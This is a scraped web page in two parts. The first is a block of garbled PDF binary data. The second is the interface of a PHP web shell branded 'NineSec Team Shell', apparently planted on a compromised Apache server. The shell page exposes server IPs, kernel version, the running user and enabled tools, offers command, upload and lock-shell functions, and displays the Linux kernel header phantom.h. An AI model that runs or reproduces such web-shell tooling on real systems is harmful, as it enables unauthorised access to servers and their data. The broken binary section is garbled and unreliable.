%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.70.100.16
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/include/linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/include/linux/phantom.h
/*
 *  Copyright (C) 2005-2007 Jiri Slaby <jirislaby@gmail.com>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 */

#ifndef __PHANTOM_H
#define __PHANTOM_H

#include <linux/types.h>

/* PHN_(G/S)ET_REG param */
struct phm_reg {
	__u32 reg;
	__u32 value;
};

/* PHN_(G/S)ET_REGS param */
struct phm_regs {
	__u32 count;
	__u32 mask;
	__u32 values[8];
};

#define PH_IOC_MAGIC		'p'
#define PHN_GET_REG		_IOWR(PH_IOC_MAGIC, 0, struct phm_reg *)
#define PHN_SET_REG		_IOW(PH_IOC_MAGIC, 1, struct phm_reg *)
#define PHN_GET_REGS		_IOWR(PH_IOC_MAGIC, 2, struct phm_regs *)
#define PHN_SET_REGS		_IOW(PH_IOC_MAGIC, 3, struct phm_regs *)
/* this ioctl tells the driver, that the caller is not OpenHaptics and might
 * use improved registers update (no more phantom switchoffs when using
 * libphantom) */
#define PHN_NOT_OH		_IO(PH_IOC_MAGIC, 4)
#define PHN_GETREG		_IOWR(PH_IOC_MAGIC, 5, struct phm_reg)
#define PHN_SETREG		_IOW(PH_IOC_MAGIC, 6, struct phm_reg)
#define PHN_GETREGS		_IOWR(PH_IOC_MAGIC, 7, struct phm_regs)
#define PHN_SETREGS		_IOW(PH_IOC_MAGIC, 8, struct phm_regs)

#define PHN_CONTROL		0x6     /* control byte in iaddr space */
#define PHN_CTL_AMP		0x1     /*   switch after torques change */
#define PHN_CTL_BUT		0x2     /*   is button switched */
#define PHN_CTL_IRQ		0x10    /*   is irq enabled */

#define PHN_ZERO_FORCE		2048	/* zero torque on motor */

#endif

NineSec Team - 2022